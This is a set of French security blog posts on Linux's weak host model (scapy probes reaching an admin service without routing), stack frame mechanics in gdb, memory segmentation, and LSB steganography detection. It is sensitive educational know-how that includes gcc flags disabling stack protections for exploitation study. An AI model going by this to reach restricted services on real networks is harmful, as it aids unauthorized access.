<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |
<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>

Comme on peut le voir un ping passe du client vers 10.0.0.1 et aussi vers 192.168.0.1. On remarque aussi que l'adresse MAC utilisée dans la réponse de 192.168.0.1 est bien celle de l'interface eth0 du routeur soit celle qui a l'adresse IP 10.0.0.1. Notre routeur fonctionne bien.

Maintenant désactivons le routage sur notre routeur.

# sysctl -w net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
Et refaisons le même test de connectivité.

time0ut_client# scapy
Welcome to Scapy (2.1.0)
>>>  srp1(Ether()/IP(dst="10.0.0.1")/ICMP())
Begin emission:
...Finished to send 1 packets.
*
Received 4 packets, got 1 answers, remaining 0 packets
<Ether  dst=00:17:42:2e:7d:77 src=00:19:b9:0d:a1:6d type=0x800 |
<IP  version=4L ihl=5L tos=0x0 len=28 id=25698 flags= frag=0L ttl=64 proto=icmp chksum=0x27d src=10.0.0.1 dst=10.0.0.2 options=[] |
<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |
<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>
>>>  srp1(Ether()/IP(dst="192.168.0.1")/ICMP())
Begin emission:
Finished to send 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
<Ether  dst=00:17:42:2e:7d:77 src=00:19:b9:0d:a1:6d type=0x800 |
<IP  version=4L ihl=5L tos=0x0 len=28 id=25699 flags= frag=0L ttl=64 proto=icmp chksum=0x4bd3 src=192.168.0.1 dst=10.0.0.2 options=[] |
<ICMP  type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 |
<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>

Même résultat, les deux adresses IP fonctionnent parfaitement. Bien que le routage ne soit pas activé, l'adresse 192.168.0.1 reste toujours accessible, chose qui peut paraître surprenante.

La raison pour cela est l'implémentation de la pile IPv4 (l'implémentation IPv6 est différente) de Linux qui fonctionne dans le mode Weak Host Model. Dans ce mode là, les adresses IP sont associées à la machine alors que dans le Strong Host Model, les adresses IP sont associées à l'interface (chez Solaris, ou encore chez microsoft à partir de windows Vista mais c'est configurable).
Dit autrement, ça donne que dans le fonctionnement Strong Host Model un paquet est autorisé si seulement sa destination correspond à l'adresse IP de l'interface sur laquelle il arrive, alors que dans le Weak Host Model un paquet est autorisé si sa destination correspond à au moins une adresse IP des interfaces de la machine.

Remarque: L'interface lo est gérée de façon totalement différente.

De ce fait, routage ou non l'adresse IP 192.168.0.1 reste toujours accessible.

Il faut donc faire très attention quand nous avons un service qui écoute sur une interface bien précise, comme par exemple un service d'administration. Prenons Apache par exemple et limitons son adresse d'écoute sur l'interface eth1.

...
Listen 192.168.0.1:80
...

Vérifions que c'est bien le cas :

# netstat -atn | grep 80
tcp        0      0 192.168.0.1:80          0.0.0.0:*               LISTEN
Apache n'écoute bien que sur notre adresse IP 192.168.0.1. Regardons que ce service est accessible malgrè que le routage soit désactivé :

time0ut_client# scapy
Welcome to Scapy (2.1.0)
>>>  sr1(IP(dst="192.168.0.1",src="10.0.0.2")/TCP(flags="S",dport=80))
Begin emission:
..Finished to send 1 packets.
*
Received 3 packets, got 1 answers, remaining 0 packets
<IP  version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=64 proto=tcp chksum=0x7021 src=192.168.0.1 dst=10.0.0.2 options=[] |
<TCP sport=www dport=ftp_data seq=3809183495L ack=1 dataofs=6L reserved=0L flags=SA window=5840 chksum=0x4c23 urgptr=0 options=[('MSS', 1460)] |
<Padding  load='\x00\x00' |>>>

On peut voir le résultat dans le flag de la réponse TCP ici c'est un SA pour Syn-Ack. Un service est donc en écoute sur notre port 80, même si le routage n'est pas actif.

# curl http://192.168.0.1
Administration Page

Moralité, si vous voulez protéger vos services d'administration, utilisez plutôt un bon filtrage.

samedi 26 mars 2011

Fonctionnement de la pile

La pile est un élément crucial dans un programme qui peut être l'objet de beaucoup d'attaques. Il est important de bien comprendre son fonctionnement si on veut être capable d'en exploiter ses vulnérabilités.
Comme je l'ai expliqué dans la Segmentation de la mémoire d’un programme, lors de l'appel d'une fonction une zone de la pile est réservée appelée stack frame. Il permet de stocker tout les éléments nécessaires au bon fonctionnement de la fonction comme ses variables locales et ses arguments, et tout le nécessaire pour remettre la pile et le programme dans son état d'origine lorsque la fonction se sera terminée.

Le nom du segment (stack) lui vient de sa façon de fonctionner, il se comporte comme une pile avec un fonctionnement LIFO (Last In First Out) ou FILO (ce qui revient au même). A chaque fois qu'une fonction est appelée, un stack frame est empilé dans la pile, et à chaque fois qu'une fonction se termine, un stack frame est dépilé.


Voilà l'état de la pile dans le programme de mon précédent post juste avant le retour de la fonction g() appelée dans f().

La pile étant en réalité juste une zone mémoire, le programme a besoin de savoir où se trouve le sommet de la pile. Pour cela un registre du processeur existe et s'appelle ESP qui pointe toujours sur le sommet (paradoxalement le sommet de pile est l'adresse la plus basse de la pile). De la même façon un registre nommé EBP pointe sur le début du stack frame courant (et a donc une adresse plus haute).

Exécution d'une fonction

L'exécution d'une fonction se fait en plusieurs étapes :
  • La préparation des arguments de la fonction
  • L'appel de la fonction
  • Prologue de la fonction qui va permettre de réserver l'espace nécessaire aux variables locales
  • L'exécution de la fonction
  • Le retour de la fonction et la libération du stack frame
Chaque étape va être décrite précisément sur le programme suivant et grâce à gdb muni d'un .gdbinit bien configuré (merci au blog de StalkR pour me l'avoir fait découvrir).
#include <stdio.h>
#include <stdlib.h>
 
void f(int x, int y) {
 int local1 = 1;
 char local2[] = "buffer";
 return;
}
 
int main(int argc, char **argv) {
 f(1,2);
 
 return EXIT_SUCCESS;
}
# gcc stack_frame.c -w -O0 -ggdb -std=c99 -static -D_FORTIFY_SOURCE=0 -fno-pie -Wno-format -Wno-format-security -fno-stack-protector -z norelro -z execstack -o stack_frame
Il est important de bien compiler le programme avec les mêmes options, sinon gcc met certaines protections sur la pile qui vont rendre les choses plus compliquées à comprendre, comme l'inversion ou l'ajout de certaines zones mémoires. Cela s'appelle le SSP ou Stack Smashing Protection, que j'essaierai de développer dans un autre article.

Préparation des arguments de la fonction

On commence par désassembler le programme :
time0ut# gdb -q stack_frame
Reading symbols from time0ut/stack_frame...done.
gdb$ dis main
Dump of assembler code for function main:
   0x080482c0 <+0>: push   ebp
   0x080482c1 <+1>: mov    ebp,esp
   0x080482c3 <+3>: sub    esp,0x8
   0x080482c6 <+6>: mov    DWORD PTR [esp+0x4],0x2
   0x080482ce <+14>: mov    DWORD PTR [esp],0x1
   0x080482d5 <+21>: call   0x80482a0 
   0x080482da <+26>: mov    eax,0x0
   0x080482df <+31>: leave  
   0x080482e0 <+32>: ret 
End of assembler dump.1
gdb$ dis f
Dump of assembler code for function f:
   0x080482a0 <+0>: push   ebp
   0x080482a1 <+1>: mov    ebp,esp
   0x080482a3 <+3>: sub    esp,0x10
   0x080482a6 <+6>: mov    DWORD PTR [ebp-0x4],0x1
   0x080482ad <+13>: mov    DWORD PTR [ebp-0xb],0x66667562
   0x080482b4 <+20>: mov    WORD PTR [ebp-0x7],0x7265
   0x080482ba <+26>: mov    BYTE PTR [ebp-0x5],0x0
   0x080482be <+30>: leave  
   0x080482bf <+31>: ret
End of assembler dump.
gdb$ b *0x080482d5
Breakpoint 1 at 0x080482d5: file stack_frame.c, line 11.
gdb$ r
Breakpoint 1, 0x080482d5 in main (argc=0x1, argv=0xbffff324) at stack_frame.c:11
11  f(1,2);
gdb$ x/2xw $esp
0xbffff280: 0x00000001  0x00000002


Les deux commandes spécifiées en gras permettent de mettre les arguments de la fonction sur la pile. L'argument 2 est mis en premier puis l'argument 1. Lors de l'appel d'une fonction les arguments sont donc mis dans l'ordre inverse.
La commande gdb x/2xw $esp permet d'afficher 2 mots (2*4 octets) en hexadécimal à l'adresse pointée par ESP qui a pour valeur 0xbffff280. On affiche donc 2 éléments de la pile qui sont les arguments 1 et 2.

L'état de la pile avant l'appel de la fonction (c'est à dire avant l'exécution de call 0x80482a0) est donc comme suit :

Appel de la fonction

Une fois les arguments de la fonction empilés, l'appel peut se faire via la commande call, qui se fait à l'adresse 0x080482d5. La commande call a deux objectifs :
  • Sauvegarder dans la pile l'adresse de l'instruction qui suit le call ce qui permettra de reprendre où on en est à la fin de l'exécution de la fonction. Cela se fera grâce au registre EIP qui pointe toujours sur la prochaine instruction à exécuter.
  • Sauter dans le code (segment text) de la fonction en modifiant le registre EIP pour que celui ci pointe sur la première instruction de la fonction et dont l'adresse est passée en paramètre à call.

On vérifie tout cela avec gdb :
gdb$ print/x $eip
$1 = 0x80482d5  # EIP pointe bien pour le moment sur l'instruction call
=> 0x80482d5 
: call 0x80482a0 0x80482da
: mov eax,0x0 0x80482df
: leave
gdb$ stepi # On exécute le call et donc on rentre dans la fonction gdb$ print/x $eip $2 = 0x80482a0 # Après le call EIP pointe sur la première instruction de f => 0x80482a0 : push ebp 0x80482a1 : mov ebp,esp 0x80482a3 : sub esp,0x10 gdb$ x/3xw $esp 0xbffff27c: 0x080482da 0x00000001 0x00000002 # Le sommet de pile a bougé et on a maintenant l'adresse de la prochaine instruction a exécuter après f

On peut remarquer que la prochaine instruction à exécuter après la fonction (0x080482da) se trouve 5 octets plus haut que l'instruction du call. C'est toujours le cas, car la taille de l'instruction call est de 5 octets.

Après le call, la tête de notre pile est donc la suivante :

Prologue de la fonction

Le prologue de la fonction va permettre de réserver l'espace nécessaire pour stocker les variables locales. Il est constitué de 3 instructions :
  • push ebp
  • Cette instruction va permettre de sauvegarder le registre EBP qui pointe encore sur le début du stack frame de la fonction appelante. Cela permettra de le restaurer après la fin de la fonction courante.
  • mov ebp,esp
  • Cette instruction permet de dire au programme que le début du stack frame commence ici. Heureusement on vient de sauvegarder EBP, donc on a pas perdu sa valeur.
  • sub esp,0x10
  • Cette instruction permet de réserver l'espace nécessaire aux variables locales de la fonction. Dans notre cas, on réserve 0x10 soit 16 octets. En réalité nous n'aurions besoin de réserver que 12 octets (local1 fait 4 octets et local2 7 octets, mais comme on fonctionne par mot de 4 octets, cela fait 12). Cependant le compilateur gcc alloue un supplément de mémoire. Il faut noter que comme la pile grandit vers les adresses basses, la réservation d'espace se fait via une soustraction et non une addition.
On vérifie tout cela avec gdb:
gdb$ print/x $ebp
$3 = 0xbffff288
gdb$ stepi # Exécution de push ebp
gdb$ x/4xw $esp
0xbffff278: 0xbffff288 0x080482da x00000001 0x00000002 # Le sommet de pile a bougé et on a maintenant l'adresse de EBP
gdb$ stepi # Exécution de mov ebp,esp
gdb$ x/4xw $ebp
0xbffff278: 0xbffff288 0x080482da x00000001 0x00000002 # EBP et ESP pointent sur la même zone mémoire
gdb$ stepi # Exécution de sub esp,0x10
gdb$ print/d $ebp-$esp
$4 = 16 # On vient de réserver 16 octets
gdb$ stepi # On passe toutes les inialisations des variables locales
gdb$ stepi
gdb$ stepi
=> 0x80482be : leave  
   0x80482bf : ret    
   0x80482c0 
: push ebp
gdb$ x/8xw $esp 0xbffff268: 0x080cd0ac 0x66756200 0x00726566 0x00000001 0xbffff278: 0xbffff288 0x080482da 0x00000001 0x00000002

La valeur 0x080cd0ac sur le sommet de pile est une valeur ajoutée par gcc. Elle ne nous intéresse pas. Les valeurs 0x66756200 et 0x00726566 sont en réalité la variable locale appelée local2 dans f() : 0x66 (f) 0x75 (u) 0x62 (b) 0x72 (r) 0x65 (e) 0x66 (f). La valeur suivante est la variable local1.


gdb$ x/12b 
0xbffff26c: 0x00 0x62 0x75 0x66 0x66 0x65 0x72 0x00
0xbffff274: 0x01 0x00 0x00 0x00


Comme on peut le voir ici, et plus particulièrement à l'adresse 0xbffff274, les octets sont stockés en mémoire dans le sens inverse, c'est à dire que les octets de poids faible sont stockées en premier. Ceci est dû au fait je tourne sur une architecture x86 qui est en little endian.

Voilà ce que donne la mémoire si on précise l'ordre des octets :

Si la variable local2 commence à l'adresse 0xbffff26d et non à l'adresse 0xbffff26c c'est car le compilateur connaît exactement la taille du buffer qui fait 7 octets (taille de la chaine "buffer" + \0). L'octet 0x00 de l'adresse 0xbffff26c, est juste du padding.

Retour de la fonction et libération du stack frame

Le retour d'une fonction se fait par les instructions leave puis ret.
  • Instruction leave
  • L'instruction leave a pour objectif de supprimer le stack frame, c'est à dire de rétablir les registres ESP et EBP à leur valeur avant le call. Elle est équivalente aux deux commandes suivantes : 
    • mob esp,ebp qui aurait pour objectif de remettre ESP à la même valeur que EBP (c'est à dire pointant sur la zone mémoire contenant l'ancienne valeur de EBP).
    • pop ebp qui aurait pour objectif de remettre l'ancienne valeur de EBP dans EBP, et du coup de décrémenter ESP de 4 octets pour qu'il pointe sur l'instruction suivant le call
    Bien entendu le leave se fait en une seule instruction, du coup l'état intermédiaire présenté dans la première figure n'existe pas réellement.
  • Instruction ret
  • L'instruction ret a pour objectif de remettre le registre EIP à la valeur qui pointe sur l'instruction après le call. Suite au leave, ESP pointe sur une zone mémoire contenant l'adresse de l'instruction suivant le call. Elle est donc équivalent à l'instruction pop eip.

Même si les variables locales sont toujours présentes dans la pile, elles sont considérées comme de l'espace vide. La pile se retrouve donc dans l'état qui était le sien avant le call. La fonction appelante (ici main) a en charge de nettoyer les paramètres.

Cet article permet d'expliquer précisément le fonctionnement de la pile. Il peut y avoir certaines différences en fonction de l'architecture sur laquelle tourne le programme, du compilateur ou même des options de compilation. Cependant l'idée principale reste la même. La compréhension de cet article sera nécessaire pour la compréhension de quelques uns de mes prochains articles.

mercredi 23 mars 2011

Segmentation de la mémoire d'un programme

Quand on s'essaye à l'exploitation de binaire, il est impératif de connaître parfaitement comment fonctionne un programme et comment sa mémoire est segmentée.
La mémoire d'un programme est divisée en plusieurs segments :
  • text
  • data
  • bss
  • heap (ou tas en français)
  • stack (ou pile en français)
Chaque segment contient des données bien précises.

Le segment text contient les instructions du programme avec toute sa logique. Ce segment est en lecture seule car le code n'est pas modifié lors de l'exécution. Cela permet d'avoir plusieurs processus qui partagent cette même zone. Quand plusieurs utilisateurs exécutent la commande ls en même temps par exemple, le code de la commande contenu dans le segment text n'est pas dupliqué, il est partagé par tous les processus. Cela ne pose aucun problème car cette zone ne peut être modifiée.

Les segments bss et data permettent de stocker les variables globales et statiques du programme. Les variables initialisées sont stockées dans le segment data alors que les variables non initialisées sont situées dans le segment bss. Contrairement au segment text, les segments bss et data ne sont pas en lecture seule (le programme peut modifier ses variables globales et statiques au cours de son exécution), par contre leur taille est fixe puisque connue dès la compilation du programme.

Le segment heap est une zone qui va permettre l'allocation de mémoire de façon dynamique, via les fonctions bien connues de type malloc. Ce segment a donc une taille variable car les zones mémoires vont pouvoir être allouées/désallouées dynamiquement en fonction des besoins du programme.

Le segment stack ou pile a pour objectif de stocker les variables locales des fonctions ainsi que le contexte de ces dernières (arguments...). A chaque fois qu'une fonction est appelée par un programme, une zone mémoire lui est allouée dans la pile on appelle ça un stack frame. Chaque appel de fonction produit un nouveau stack frame propre à cet appel, ce qui permet par exemple d'avoir des contextes complètement différents pour la même fonction et donc des comportements différents. Quand la fonction se termine, le stack frame est détruit. La pile est aussi de taille variable, car il n'est pas possible de savoir quelles fonctions et combien de fois elles seront appelées. Au fur est à mesure des appels de fonction la pile va grandir et diminuer. Contrairement au segment heap, la pile grandit vers les adresses basses : Plus les stack frames se rajoutent et plus leurs adresses sont basses.

Le programme suivant va permettre de mettre en évidence les différentes explications que je viens de donner (il est largement commenté) :
#include <stdio.h>
#include <stdlib.h>
 
// Variables globales non initialisées qui vont dans le segment BSS
int global_a;
static static_a;
 
// Variables globales initialisées qui vont dans le segment DATA
int global_b = 1;
static int static_b = 2;
 
void g(void);
 
void f(void) {
 // Variable locale de f qui va dans le segment STACK
 int local_f_a= 1;
 
 // Variable statique initialisée, donc va dans le segment DATA
 // La valeur est commune lors de tous les appels de fonction
 static int static_f_c = 3;
 
 printf("Addresse Variable local_f_a : %08x\n",&local_f_a);
 printf("Addresse Variable static_f_c : %08x\n",&static_f_c);
 
 g();
 
 return;
}
 
void g(void) {
 // Variable locale de g qui va dans le segment STACK
 int *local_g_a = NULL;
 
 local_g_a = (int*)malloc(sizeof(int));
 
 printf("Addresse Variable local_g_a : %08x\n",&local_g_a);
 printf("Addresse pointee par local_g_a : %08x\n",local_g_a);
 
 free(local_g_a);
 
 return;
}
 
int main(int argc, char **argv) {
 // Variable locale de main qui va dans le segment STACK
 // main est une fonction comme une autre
 int local_main_a = 10;
 
 printf("Addresse Variable local_main_a : %08x\n",&local_main_a);
 printf("Addresse Variable global_a : %08x\n",&global_a);
 printf("Addresse Variable static_a : %08x\n",&static_a);
 printf("Addresse Variable global_b : %08x\n",&global_b);
 printf("Addresse Variable static_b : %08x\n",&static_b);
 
 f();
 g();
 
 return EXIT_SUCCESS;
}

L'exécution du programme donne :

# ./memory_segment
Addresse Variable local_main_a : bff082dc
Addresse Variable global_a : 0804a034
Addresse Variable static_a : 0804a030
Addresse Variable global_b : 0804a01c
Addresse Variable static_b : 0804a020
Addresse Variable local_f_a : bff082ac
Addresse Variable static_f_c : 0804a024
Addresse Variable local_g_a : bff0827c
Addresse pointee par local_g_a : 09e15008
Addresse Variable local_g_a : bff082ac
Addresse pointee par local_g_a : 09e15008
Les variables dont l'adresse est la plus basse sont les variables global_b, static_b et static_f_c. Normal, comme le montre le schéma plus haut, ce sont des variables globales et statiques initialisées, donc leur place est dans le segment data, la zone mémoire la plus basse après le code du programme. La variable static_f_c même si elle se trouve dans une fonction est d'abord une variable statique. Toutes les fonctions f() appelées utilisent la même zone mémoire pour cette variable. Une modification dans un appel, se verra donc dans l'appel suivant.

Ensuite viennent les variables global_a et static_a des variables globales non initialisées, donc dans le segment bss.

La variables locales ont une adresse beaucoup plus grande, commençant par 0xbff. Si on regarde l'ordre d'appel des fonctions, main() est créée avant f(). Du coup comme dit précédemment les variables de main() ont une adresse plus haute car la pile grandit vers les adresses basses. f() appelant g(), les variables de f() ont une adresse plus haute que celles de la fonction g() appelée dans f(). Par contre, lors de l'appel de g() dans main(), on voit que local_g_a a exactement la même adresse qu'avait local_f_a. Cela ne pose aucun problème, la fonction f() est totalement terminée, du coup son stack frame a été détruit, et le stack frame de g() s'est créée au même endroit.

La variable local_g_a est une variable locale à g() donc située dans la pile. Par contre malloc alloue une zone mémoire qui elle pointe dans tas (ou heap). La zone mémoire qui stocke local_g_a est dans la pile, et l'adresse contenue dans cette zone mémoire pointe vers le tas.

dimanche 27 février 2011

Détection de LSB

Comme vu dans un de mes précédents articles, une technique largement utilisée en stéganographie consiste à cacher des informations dans les bits de poids faible (LSB) d'une image. Je vais décrire ici une méthode qui permet dans de nombreux cas de savoir si oui ou non une information est cachée dans ces bits.
Attention, il n'est pas question ici d'extraire cette information, car il existe une infinité de façon de cacher les données dans le LSB :
  • Un bit sur deux, un bit sur trois...
  • Choix des bits de certaines composantes de l'image uniquement (que dans la composante verte, rouge, bleue, ou toutes les combinaisons possibles)
  • Ordre des bits en lisant l'image ligne par ligne, colonne par colonne, une ligne sur 2....
  • Lecture des bits à l'envers ou non
  • Utilisation des bits de poids le plus faible, ou de poids un peu plus important (avec comme conséquence une altération de l'image plus importante)
  • ...
Toutes les techniques ou combinaisons de techniques sont possibles tant qu'elles sont partagées par l'émetteur du message stéganographié et son récepteur.

Le point important est que toutes les méthodes stéganographiques à base de LSB altèrent le contenu de l'image et que même si cette légère modification n'est pas visible à l'œil nu, elle peut quand même être décelée si on utilise les bonnes techniques.

L'idée est la suivante, même si les bits de poids faibles sont porteurs de très peu d'information (comme vu dans mon article sur le LSB), ils ne sont tout de même pas distribués aléatoirement dans l'image. Porteur de très peu d'information, ne veut pas dire porteur d'aucune information. Dans une zone ou il n'y a qu'une couleur présente par exemple, il y a peu de chance qu'en plein milieu il y ait un pixel différent de tous ses voisins... possible, mais peu probable. Les bits de poids faibles respectent en règle générale l'apparence de l'image et les pixels sont cohérents entre eux.

Le but va donc être de visualiser cette cohérence entre les bits de poids faibles. Pour cela on va recréer l'image en "vidant" chaque bit des informations inutiles (c'est à dire les bits de poids fort). Seuls les bits susceptibles de cacher de l'information vont donc être gardés. Comme ce sont des bits de poids faibles, ils ont un impact faible sur le rendu de l'image et il sera donc très difficile de distinguer quoique soit. Il suffit pour cela d'augmenter le poids du bit en faisant un simple décalage binaire vers la gauche.
// On enlève les informations inutiles
composante = composante & 1;

// On augmente le poids du bit
composante = composante << 7;

Exemple :
Composante (décimale) 255 0 111 56
Composante (binaire) 11111111 00000000 01101111 00111000
Devient (binaire) 10000000 00000000 10000000 00000000
Devient (décimale) 128 0 128 0
Pour effectuer cette petite transformation sur les images j'utilise un petit outil que j'ai écrit :

# ./lsb.rb -h
lsb.rb [options] -i input_image -o output_image
Version 1.1
--colors|-c r|g|b: couleur que l'on veut garder
--bit|-b bit: bit que l'on va utiliser (par defaut 0)
--help|-h : affiche cette aide
--version|-v : affiche le numero de version

Utilisons ce petit programme sur cette image qui ne cache aucune information à l'intérieur.

# ./lsb.rb tux.png -o tux_lsb.png

Comme on peut le voir très clairement ici, la structure de l'image est ici conservée, et cela même dans les bits de poids faibles.

Cachons maintenant des informations dans notre image de départ et regardons le résultat :

# ./lsb_hide.rb -f hide.txt tux.png -o tux_hidden.png
# ./lsb.rb tux_hidden.png -o tux_hidden_lsb.png
On voit très clairement ici que quelque chose s'est passé sur le haut de l'image, puisque cette partie n'est plus du tout cohérente. La raison est qu'un message a été caché, et celui-ci étant court, toute l'image n'a pas été nécessaire pour le cacher.

Cette technique ne fonctionnera pas dans tous les cas, à plus forte raison si l'image est bruitée ou par exemple si elle avait été préalablement compressée en jpg. Cependant, je la trouve suffisamment intéressante pour être citée. De plus elle m'a rendu de précieux services lors de certains challenges.